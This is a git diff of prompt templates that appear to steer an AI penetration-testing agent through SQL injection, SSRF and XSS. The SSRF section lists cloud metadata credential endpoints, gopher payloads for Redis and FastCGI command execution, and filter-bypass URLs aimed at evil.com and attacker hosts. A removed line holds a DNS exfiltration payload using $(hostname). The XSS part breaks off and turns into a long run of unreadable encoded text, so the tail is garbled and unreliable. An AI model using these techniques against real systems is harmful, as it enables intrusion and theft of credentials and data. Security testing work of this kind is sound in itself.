LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape +- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing +- XML/JSON functions: error generation via malformed documents/paths + -To confirm SQL injection: -1. Demonstrate database version extraction -2. Show database/table enumeration -3. Extract actual data -4. Prove query manipulation -5. Document consistent exploitation +1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates. +2. Extract verifiable metadata (version, current user, database name) using the established channel. +3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope. +4. Provide reproducible requests that differ only in the injected fragment. +5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant). -NOT SQLi if: -- Only generic errors -- No time delays work -- Same response for all payloads -- Parameterized queries properly used -- Input validation effective +- Generic errors unrelated to SQL parsing or constraints +- Static response sizes due to templating rather than predicate truth +- Artificial delays from network/CPU unrelated to injected function calls +- Parameterized queries with no string concatenation, verified by code review -- Database content theft -- Authentication bypass -- Data manipulation -- Command execution (xp_cmdshell) -- File system access -- Complete database takeover +- Direct data exfiltration and privacy/regulatory exposure +- Authentication and authorization bypass via manipulated predicates +- Server-side file access or command execution (platform/privilege dependent) +- Persistent supply-chain impact via modified data, jobs, or procedures -1. Always try UNION SELECT first -2. Use sqlmap for automation -3. Test all HTTP headers -4. Try different encodings -5. Check for second-order SQLi -6. Test JSON/XML parameters -7. Look for error messages -8. Try time-based for blind -9. Check INSERT/UPDATE contexts -10. Focus on data extraction +1. Pick the quietest reliable oracle first; avoid noisy long sleeps. +2. Normalize responses (length/ETag/digest) to reduce variance when diffing. +3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise. +4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available. +5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw. +6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly. +7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels. +8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types. +9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly. +10. Document exact query shapes; defenses must match how the query is constructed, not assumptions. -Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does. +Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL. diff --git a/strix/prompts/vulnerabilities/ssrf.jinja b/strix/prompts/vulnerabilities/ssrf.jinja index a57d67897..9888eef67 100644 --- a/strix/prompts/vulnerabilities/ssrf.jinja +++ b/strix/prompts/vulnerabilities/ssrf.jinja @@ -1,168 +1,135 @@ -SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION - -SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise. - - -- URL parameters: url=, link=, path=, src=, href=, uri= -- File import/export features -- Webhooks and callbacks -- PDF generators (wkhtmltopdf) -- Image processing (ImageMagick) -- Document parsers -- Payment gateways (IPN callbacks) -- Social media card generators -- URL shorteners/expanders - - - -- Referer headers in analytics -- Link preview generation -- RSS/Feed fetchers -- Repository cloning (Git/SVN) -- Package managers (npm, pip) -- Calendar invites (ICS files) -- OAuth redirect_uri -- SAML endpoints -- GraphQL field resolvers - - - +SERVER-SIDE REQUEST FORGERY (SSRF) + +SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE. + + +- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers) +- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers) +- Service-to-service hops through gateways and sidecars (envoy/nginx) +- Cloud and platform metadata endpoints, instance services, and control planes + + + +1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks). +2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations. +3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries. +4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible. + + + +- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image= +- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers +- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders +- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers + + + -Legacy: http://169.254.169.254/latest/meta-data/ -IMDSv2: Requires token but check if app proxies headers -Key targets: /iam/security-credentials/, /user-data/ +- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %} +- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can +- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %} - -http://metadata.google.internal/computeMetadata/v1/ -Requires: Metadata-Flavor: Google header -Target: /instance/service-accounts/default/token - + +- Endpoint: http://metadata.google.internal/computeMetadata/v1/ +- Required header: {% raw %}Metadata-Flavor: Google{% endraw %} +- Target: {% raw %}/instance/service-accounts/default/token{% endraw %} + -http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Requires: Metadata: true header -OAuth: /metadata/identity/oauth2/token +- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01 +- Required header: {% raw %}Metadata: true{% endraw %} +- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %} - - - - -Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017 - - - -- Elasticsearch: http://localhost:9200/_cat/indices -- Redis: dict://localhost:6379/INFO -- MongoDB: http://localhost:27017/test -- Docker: http://localhost:2375/v1.24/containers/json -- Kubernetes: https://kubernetes.default.svc/api/v1/ - - + + +- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints +- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them +- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server) + + + + +- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only) +- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379 +- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices +- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs +- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM) + -Redis RCE, SMTP injection, FastCGI exploitation +- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests - -file:///etc/passwd, file:///proc/self/environ - - - -dict://localhost:11211/stat (Memcached) - - - - - -First request → your server, second → 127.0.0.1 - - - -- Decimal IP: http://2130706433/ (127.0.0.1) -- Octal: http://0177.0.0.1/ -- Hex: http://0x7f.0x0.0x0.0x1/ -- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/ - - - -- Authority: http://expected@evil/ -- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/ - - - -302 → yourserver.com → 169.254.169.254 - - - - - -- DNS exfiltration: http://$(hostname).attacker.com/ -- Timing attacks for network mapping -- Error-based detection - - - -- Redis: gopher://localhost:6379/ (cron injection) -- Memcached: gopher://localhost:11211/ -- FastCGI: gopher://localhost:9000/ - - - - - -127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me - - - -http://evil.com#@good.com/, http:evil.com - - - -dict://, gopher://, ftp://, file://, jar://, netdoc:// - - - - -To confirm SSRF: -1. External callbacks (DNS/HTTP) -2. Internal network access (different responses) -3. Time-based detection (timeouts) -4. Cloud metadata retrieval -5. Protocol differentiation - - - -NOT SSRF if: -- Only client-side redirects -- Whitelist properly blocking -- Generic errors for all URLs -- No outbound requests made -- Same-origin policy enforced - - - -- Cloud credential theft (AWS/GCP/Azure) -- Internal admin panel access -- Port scanning results -- SSRF to RCE chain -- Data exfiltration - + +- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers +- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled + + + + +- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1] +- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms + + + +- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/ +- Scheme-less/relative forms the server might complete internally: //169.254.169.254/ +- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes + + + +- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients) + + + +- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable + + + +- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences +- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs) + + + +- SSRF → Metadata creds → cloud API access (list buckets, read secrets) +- SSRF → Redis/FCGI/Docker → file write/command execution → shell +- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral + + + +1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences). +2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service. +3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read. +4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior. + + + +- Client-side fetches only (no server request) +- Strict allowlists with DNS pinning and no redirect following +- SSRF simulators/mocks returning canned responses without real egress +- Blocked egress confirmed by uniform errors across all targets and protocols + + + +- Cloud credential disclosure with subsequent control-plane/API access +- Access to internal control panels and data stores not exposed publicly +- Lateral movement into Kubernetes, service meshes, and CI/CD +- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces + -1. Always check cloud metadata first -2. Chain with other vulns (SSRF + XXE) -3. Use time delays for blind SSRF -4. Try all protocols, not just HTTP -5. Automate internal network scanning -6. Check parser quirks (language-specific) -7. Monitor DNS for blind confirmation -8. Try IPv6 (often forgotten) -9. Abuse redirects for filter bypass -10. SSRF can be in any URL-fetching feature +1. Prefer OAST callbacks first; then iterate on internal addressing and protocols. +2. Test IPv6 and mixed-notation addresses; filters often ignore them. +3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs. +4. Redirects are leverage: control both the initial allowlisted host and the next hop. +5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you. +6. Use tiny payloads and tight timeouts to map ports with minimal noise. +7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability. +8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there. -SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access. +Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them. diff --git a/strix/prompts/vulnerabilities/xss.jinja b/strix/prompts/vulnerabilities/xss.jinja index 3b4d938e6..67730af33 100644 --- a/strix/prompts/vulnerabilities/xss.jinja +++ b/strix/prompts/vulnerabilities/xss.jinja @@ -1,221 +1,169 @@ -CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION +CROSS-SITE SCRIPTING (XSS) -XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques. +XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types). + + +- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells +- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF +- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR +- CSP/Trusted Types interactions, bypasses, and gadget-based execution + + + +1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks. +2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject. +3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping. +4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert. + -- URL parameters: ?search=, ?q=, ?name= -- Form inputs: text, textarea, hidden fields -- Headers: User-Agent, Referer, X-Forwarded-For -- Cookies (if reflected) -- File uploads (filename, metadata) -- JSON endpoints: {% raw %}{"user":""}{% endraw %} -- postMessage handlers -- DOM properties: location.hash, document.referrer -- WebSocket messages -- PDF/document generators +- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers +- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html} +- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes +- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers +- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB +- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client - - -Simple: -HTML:

test

-Script: -Event: -Protocol: javascript:alert(1) -
- - -- HTML: <>&"' -- Attribute: "'<>& -- JavaScript: "'\/\n\r\t -- URL: %3C%3E%22%27 -- CSS: ()'";{} - -
- - - - - - -
-

$fo_#EGi8A~hVXc?}(;BT~u4ah8AC6VxIB3#>!ZhHP~J zSWRTy2}12dF*`)vNYS4I5GLU&v#92-RLm8~1`b7l8qr;$Y=!tUC8l7_G}Hk?&VlM*nu?wp!gu5hn@ zQh_`<4xK80jKZ<%n^5p9kUmVm&$;WF9aHW7!jz8+5goDU>A_ceekV!wvdYJXwjx$$Z zW>JL#+v?%dQFaD)u))X<%=&s70EaWwQzARPuc9pBo$$k|6rejSZ$HbN$D$Hv8i+~q zB@5!Ig7G1$=Y7%Tmhw%JyvY@Q>#qXjqlIJ3)uCd;$?aRra9R6B4-Ktj(I(4->VBY$ ziDNv_liB;>hh?+W!lg5Zc0{raVF$Mzd5HSQAvd4^aO~-pA>N=%Tx(ek^qk+N3$QJ6 zjk&7Apc3aSc0Fb1MI?VOvjFDy^9_fT2~djUW&@PR*pW2ux{lc!h^4jvzxoFmIIXcA zbp7p=lI&aYed>+|;}d16AK+{s215;B&_u5MvQNx z8I8fPv`R*n>}VsnG}`IZ5KC$_&Uq-wbW?iNU=MnXGlYGCX>2` z({%U5vZEA~GgA8i=XdW#Hci$iEP{wx)M~;bf7_=%;}m95u&~$~9oBnBprG~Mq|ZpJ zOy3sd2_En&1IOM0I6H}D%TCh0Ql_6ySNi@%!a(#wW0F+igcSD0B2_pN^VP7s{+G6f zJ;?lR8YCX-k)yeR5N~oSLwv7j+6-(Qn51xzZDmbawtgB`wG1N^-0|5&@&v{tnQSga zdDJvVHhD}+9tp$6aB)<=-~{gI-4`Bt;-FN^u=gZEI~^@#z^UF z`?pOpsP#^`S=p2FMHAvtw?Q1qT1ZkX!k$>A=F*VDL{h72 zvEbnHF>At%HXde&Nr%-*J8hLAOM7+|CL+V^@G&~~M0$elFcW#k?iqJ(bwGSkW`()U&t-*yU`}R$&ir2#kh(zMF21wHz$q+1IYwq`E0AWZVNb%Wn z#wD}cO;hla`_FibQE^z8dLwW81}JD;=p!y)X-C^>nmL)}rdb)2R7UiORLRGZsSCbP zXOvLOfr(uqYIQJudvunh0%oIfbsuw6A&&|AWH>Y#66g%<@>!;+-YI*QRQb$xqCb=<@NV{fgxj&y$ODQ34n%(Vp0Aw0$rb|ys#BPSec1QJrj4vA<)m5N-u3XAc6-f z%CwI=V7`d4EJcBv(U2jU zRwwDzX}YB7juFt8f0jEUtZ=gQDj{6+iYDl-6CpxitwfkRdaz7msLMs6>>hwvV@U(n zf63VQQ=b@P_q0e)+G^w{yy-%BVhpIlvo=Da^Gp|IR7?(WF-(EIO1+cO=&X)nw6yXKBCJqC%9amdu+hcTX7CiIM8)J0=|_^L+UrDHy`9^XeR(qu_@=Xh zsHE_T(FUN$#Ec;s%iuiRq_8xD2`d12ln5S|-~9-0DzK7UBVVDn%?+SAX;DKmRV67HyyO1xGA?x z_~lao0FC>+WU_%d!;M=Zc_oDA94DfdaeiH)mjFLNBZeFTnmCew*qZtf86qKX&cx-p zC!__Ll2Xsol}V{6o)NB>C($D(E$*ZzNH%>Nlhl<*U3X9ekvVIIrH`Bir z9et^HxoRs}hb1k7yHb3+H3R!Zfm`l(dU$%^XLirJxGZ+$4bNd(-?HgLQY6_4cIRjV zdpJA>juQpY4waQHcM=1j3SIitl{*es`zuwX0F~({OyEc{;{dixi+X}eWCJVOX>uTO zz#gMqh)Rx%0*d=c1mr+FJ3><1Hsmk`b3ss@LeXfrlP!b{+c_*4(X0`KOrTRX&~P#R zMoT;=Es|_7`fst3#kUMt^X7CO>H6h~1z48l@qFMJxoJquO3YyN3%p1$Oej2B@T74t zio;|!ADP}xsAA8V&$nz3GcJeb{}8?Z;M{MTko3_}f$BRcjaSoW{)G)uS{Atk53m$m zPT;w_vEIWQVyYM+KIuiR*w_ezf3u-)1M_cbq$`h-92pG{f0)U zaY9Cki=I;^neEnF@-YD%Ue}z^joJ*$?jk!tF;HnkHwO*nM%)Y99LvnO#STUUsD*(t z-nN~e-R_ru{3^xqEw*Kj4w&-B37kb+>SsgWBSUF1)7jg%4U{|NF)oC=2$2zJiMJzpFY&g>U;YieEilBJ;{4Dr z(+rBZ3$?k?sAnct5Q=Jd!#E9uJ)k+eC?Z!eb@KdC!j2KO)M5SN#$qfQiQbSMD$2Ri z^k-h8K0XF6k27|nM3rWqzTtx#k^%)ehGLz%9ZHCku-{W`jYc+pFlZ1zs%a1*M0|3s zA3scn|0Val+QO)fWUFAu41vRIwqInAcHz}XoeoPzyVz!)$T;THQmy__`0q>7 zzeqp^^ndLk3}K%SsC~PMJqUA>ux#ekh5G2QeFW8$p43A-4KuWqe&(@p|8R!?_4QwQ zCbD0kzlQQJd$zBN+-NO)xFsbzh5~Bl+?+X6XsgJwFUaR#)l~oJQKf4CUGd?>>F`xf zIY{7X-Y+Uz--{T!myG&j5gYfX9M(h52iu9we^Ll7`cwt{f6q-wuSXQyf)c|KAL#|R zC5?|ew!cqDbh6y|>o@=B0Y-IiDF5t$pD4B4lr0hf6={P$$Y^6H@<0DWx_qt4aiZS; zB0YDe(Q6}R68i|?YmTz}L21xLV>(P;2qwOIcK)w92nGHdy2`DO;In*zH7pb~@#VZ& z(ob%lfLz6I{%N%( z+86UggrxJoBlYW_NU1^4Z&>RueC8Sc&$aen(fs86XNW$^irDmXUa< zKB-~EW|3*xIgbk!YV#s2s9&|0Kv)EdK3Sl0q)3F&tJi;z>duP(V2O%3m*?y{a6_LK zZIb2sDp*z(fek5ApDXuMNubPP*D3F1MZg$PpeZwLwc|EfFXrMd(=MM-ib$zzWOQ%Z zA*R{4jVvv zZuti&GpqhI#BJ?pB$kaYkh8p3hRUv zR)Cf+RD`XR9fHj=x+aDX>UUj~igA_|d~``o$qJ-GmlZAmch>ToL@i7*#F!ehNi=Tf z7CMZAfWCt;jb}cyCHn%H&3cu3Kk^?S^#c6}9#g38uvXPFRze9Y9upa2w{o&Iex$;I zNcW|x@7A)6+R|Nn{iJBI;SUSgCQ&Gfpd?eml^HZn1i!L;5WIs;`U*V9t*1PhA`*kz zbe3+OdE`-P%-OyWplOV&`jAvh`Kj%RM`RPj9egJH{6HB1h z=4}c>SvvE{EWJ^!d>@FcR+R}GdUa!B`w+tY$j*s2+s^nR(Kef9+IS%QTn|zu0UN@mN;}= zXAYs{?@&jxc5}&I<0PWzltl@Azojbc3$IOhk1}CfoEtoxW4>c|1`DacaLUKaNtnNs z+@wU~SWQAF91iyQX6LTFWv*+BD=#ybG#dKQ*y}l{XuQ`{yYsvs2RZr)B$~hLQ2CoC z?GU}jOv`akg2y{#ip1P))iGJis8%I z@vHYzzPx0yljZZ}_~5J2-<#S$$KVbQK_n!k==x)E7)6XgW_v*Bu1eT2X`-@GHfgjZ zX%Y62r^HV6Xc;cA`xCUu3OC4sik)bbFoGxpuY7KNZfLWw~JwKCmV#7OFw_w(h zVGd=dxb8;;=N^g^we#fFR|i`a7|ztHTWhy(Mm=@aJyEBL3hwG4BKuHL>JYK@^a!Z=_(+;rpuzNbaO-kMgXdKbnwUa7*tn{^54JE)zW4xaRCtDGg0yhwjYBZD zQjue;8L6;XbrDiR`lJXq%k=0lP#w!jDu8I0d5_ltAMHeR6LAk!cT^%dc>OxQWZTJz z5Ik`=&%9%lxCP(cFQQ;TL2R9-4CH_wSVGduy2whBk@(_$#?7b>b0$TTh$_3A+H~$Z zkszf$yY9qRQauWl-fD<1;zJUj4{s{WaTqqHtnKX{Xoi=7jv5;OP@v_`7{(3p8f3## zpezJ>?5Rs0kcw(eOEFL_#=}jgD%v7X;gBv{8bk~hbkwt*W1MM2PZFGLA&I;%PYDEt zYy=d0DBk3gz?H!`@aK?g-`-8}1VfT1UVGc~>KYUBq$F5`A004+ULdzhi(xHGlsU^X}L8BthBIASeG4&o>ZpP-ASMH!J@Hix4Y-Ogv zoGSJJ%u+yz8tqsBBr%8ki@$3C3>;aw7WANuw)RTC6wyk)Pi2OZV1w)VDu{#ZoIRd6 z)^%Q50=0aeO7ILj#trct^)_LkBJ>$ljzV9LNr|C9Br^qaaD1Uh)?mrsnXR7NBGgsG z!yVKMk$EnaP*igxhz~Pc!uB_05ifDlNR;cI0+>KbI{t3)fe57clo1wnr5#8~ zv%E$i6hR;acxp;fzb=9M@Gb2wcRp<}qDUZLk3l?mdJu0ocS(}}iOeVg;2p3FK^m@1 zg#~l?EJ|BTz@HGPO%nI<(GO*hlm%dH9vO*c&; zQiJ(ISDkN}GO&s5o2rtH`s!!?jWC;CuGVA)Hru6pPk%OJ+%i%CNvOt{gS#MK$r@+KeUpzC*c3VQJ_}_kJMtROD2qj`_B+${K?KNWlZSV9zwy4XT4*Y0jd$I)g61Vz|iVO9*e09%Kcg)_i1EQF0l%i_r%4jV`2ioceLkP8ePO%fk&w*-BbgcAkK z5ae~I17)NA9>QI_+t)`JVOu+?!oDgG95?>g4eOMFg$ODdJGmgMI7{py&!D<^j%mR7 z3dDe54=h;K>Tk#hq;lQ@(zcw*meg${QBnX3+FUky4qBcJ2rIF)V+$j&j#5O-8;dxx zk8!nR47@1=${kc08J7%ZI}3pj!XCl>#&S?EHmx%!M~@GV{d&Af!J`!t_az%d9^V06 zuoq+sOCKD-R%-#g1gQ*0luu+QahHYF;)9g7btG5z>~SU}AX zPwRcMsss>&SV5HIAu^3zK~`sSmFx2ETzv?{sm`JI??U84(gQA14bkCpppiwDMM;pr z$q8FntHEy*$Tu2r5@E=&Nim2c0I$dChT%VCM|HXsKFXdJq~gWCd(|abyZp|033xC8Kt*B z(=$BK1{$q*8{C&}mQhX%cNko3b~|DR^dnX7W!P9^f&vsDtWB*78I0N&XQ%f-x@Cge5pMlK*Y|0a#f>?`H)jEu8 z$Q?kgDvKgh`mbj(TGaI*;|DD2t`P@x-8vFy!A22ap~Lw`sA9uL5cBce+3fj=Q#c`IWg#J)Au}|^K>a}VN3^na2d!*O~?ud|8U>7hrEJDBzrO%M!=hIGW-KWCfIsQ zJV!yXK%y191TTRcuxf}6@)N`o^Oh2%552_P8eBXIousWV2r~}+)3E!0t9_5{7e+J?8Ym8A=H4KR2ydYQV5M-OGIE(0nVUWzpM9})L0|n zw19tq3yCh#4>SKr2#tfRZw7QN;@On=@v@|j{1oyUx+tWA(T5U6x>f>PI9e^!(bk{y z&tt)4CYdqgOkCA;MpMt|kqb5Lvl}DShk;;$asqop0H7um#&4`3#*>Go!rq7pu7Jl$ z@wJ^}*Iv{<O5I; zFb5cE5_79ikXCaNW3=r`ltzAja7pVEsB!QZvw$}hd}(?uZLr(uHr$h{!=)zkqmj(&TO7K&OcNz4HtGhR-*aT!o~rx&XSM_HluGrh;t#n+avXB21> zgf0!637RO4_V=C>X$o3C2I}{S7E}TI;oDU<=Ev~0??!`vI;O1b$*ahxYxP=t8_jP_ z3p4N6$yGf*B@AjzWQ#P=Lc ztqw(&o$}+S;Fg5Kuf0gGUm4tABUZoGezWiPsHXf18P(8e79oY_oEd*uvr6CiX(qq~ ztzfA}uhHhwSA8B>Xg*&u{){g;ba`8wZ|2D?Rd11aXn0Dnh7N3Gm;g_L=vUE?|5fF0 zw(Cw9`>X^WJphI>d9{;d>#qwgFeuXCozlZfEbCB!IZOJc{|nwK=khPEHOa6;MLu51 z=r|z=zG6JE6(6~QxE2stNRxcv&lWp+1OLYMml8Q6Qy-*@?6qJ%4|X>^Us(eAN+q=) zHrqh5_-9&H6p?LK-q;zii+W_c1&SuIquHmunKBML{`u}=_qm=?zeC*dNo=sl8Wplg zbAPhRS_Q~~1x5&<&c#t2t}9YFX(eAz+}2Q#^7jdqaFPM>R-GdeZsi{#1Zxc|XEC%I zn1Qd{_V)*y2aAvm1|WQs%KHIDKOuhM{~MuaVCY9Rb=`BXH?vEs5y%dN4j_xoI&sLp z!9wltYGyABy}27bYXCMxl$|;9oipt1vH4M;bs{=4UL!G`a(qz2&jPJT#IkL#1hOy$ z+l{=jnS3$T-=aW%(!B~231m_R1v5R3KccGg@&Sg1vvW-y`0)YpB3g<2DnX3XGX5U} zTWDJDow7icJU8*UCFX187{?ZSo*$wl$$alt_kFFd5=W2c!a3uK`f0QDC^FU_O6@ z3vT(%-IjId7X3d*vZek6@W8ZHh=;SUyGFU%ArbN~PuI(J>3Hw&J8UQmJTY8p`-ifZ zXk8Phk{W3EC#Hu7wurGLT55Cd`MZpg2MO)Rvqbg~x**iM3nviAE^{jET>5*LT1Sf>ut}p*oU_1>{+(KEW6Di_Iv|XRup6+zqstZ=(uB!8$rp!4stDru07q9n@4uOC3B#0m~=0 z=Bt$zn}&?av-#s{9=-?!7k+I3j$B4Sp~Hc4I8{rBg71nr=tnjf^Ecp*E$Qj}xd!0Y zlR~kg$wMH^JMR?i4Mm%4HQp^MoGy8H=N$f+>>;(eB6#BXb`uENV*|dEj}X!?3BD~M z%x0+8@1eM68f*`PG72_VFZR6MElkCXBCowOPZ&f$0a=@8!(aT)_x;mP1_;{WPKJi% z$FVi0^pn*@m9xZNTW8WN;k0k@%f__b6ijHC4L1D9--z6%yiEz+nL#=#UE{a>6%;5w z{u?9NEswH1rhR1J0RE`sj@Y(l%98C9I1U;FD0WA=r-b}WPs|!RrK*JLu(H23XjumU zh3y9R0Je;e;t*$A(R^QmD4V@QzBBXZRil`={? zF6-V<#Y>7XulxI2Nt8V&L9Oqf76fu{PjA4 z_4;~!{pVc&o)$vtZw*|INn>3xFiQxjqBp8Z)20y~Z>i!59osfJbMDOfOSgEI-n(rB zkaCR_OoDZ>c7Scyy-(lwdTd=e_r#HdxgndC{1hYBtXUKO5I!s-E~$O%7TdmE@blI! z1{G;yNTqxcz6Q-3O0rjAJ*5gK)~{A#-kdqVU%vS-C9nW&S&;E0XPY|9A(sOZ&XB0S zK=NtG#2^ZiAjN@tN}>peY(kvZ6#=9jDHvhCCCZ|r=J7m>RZb4@CstEbnMb)oF+wPW zg(RRxfFW_BU$dDh6NYtcQewiWVb^bElC)ogAcct^2zC~bT#lCv8~&C8mF?I7)*u%_ zw8D4UC~O24sIUX_h=S+?Q3nXTDS71b<;sp6+W+Ch2aA`jQWS*-z7KL2xE+D_Phho; z3!8}60OHs|T3`V$0b)v_^0Xa=4p(r1^2Ea%kaZP>bQvVITNa~UQc`j8BkkAYmpLIxg-Z!pjkI?!v|5gi_n)nzPRga2k}Dq0b+ zIa*X@tn87#O1!Dj22D8b`ZR+MAo+qG&M<>vjif6tTj zJcHyxDZ^5^md3Goe(qou5J)}^bU6x@fW5qoD1ZD1;Got7Z%^JXja0yLOmO+oHz-~ z?7|f&j$?z}x~>W)s%o~&$R#S)nmBq`%H_kWmwgqo1q<%pb~wqKr8^B8)}1n{--aK) zJNVmq1I4<5gdW5L2wRSGaH%a=K*Ql_%y6hECMf~P<{T$4?q5}beZC77B71E-~mAhB+XI;rX4IiC$>QjMn}gsYVl@F zbi~n}KfQdO3Op#Bee;59wp|5uKCnHgK+)H9UNk}fNXArRVN zYp^@vdNG@%U=e-ZsOF98jsN6>_1}NH<(FNcrx`r_WP$ZtubMAykZxS9>XjPQD0A(~ zrAt?C>zJN#87vzC1HuzsP;Q2XsUJ$f8ZM6Ys|x5|pm+F1pb`yB6=X?OOpge{K(#Rk zjozxLup_b^?mPTn5?EMuU{L~3&`ut>ARr0Hdfaf=7sy83Q9%Nx1sV!`4KyvLxe2Tk za7+fI1@B{cQ7BucO6gMNIg%?>$k(EI<@MjL*|q%`Madyj!+Hjn#nLn@gaLz>fGc`9 z!8J9Y%@(L>me*9vFZzK*x-61UG&a)`NIW<7yklq)ctVB%-P(iMaXz-}o)P#vM~d)@nYZ!>k$#6NGRpysF1QZ=l|U?^b1 z3`lVutFgq$O6AJ5s#o#ujjN~6T?ORU9l{skZ_=c(EK35<7f*_>TfOwW*>nH6co(b8 z1b9e<3|rqy>)!m(nW?N 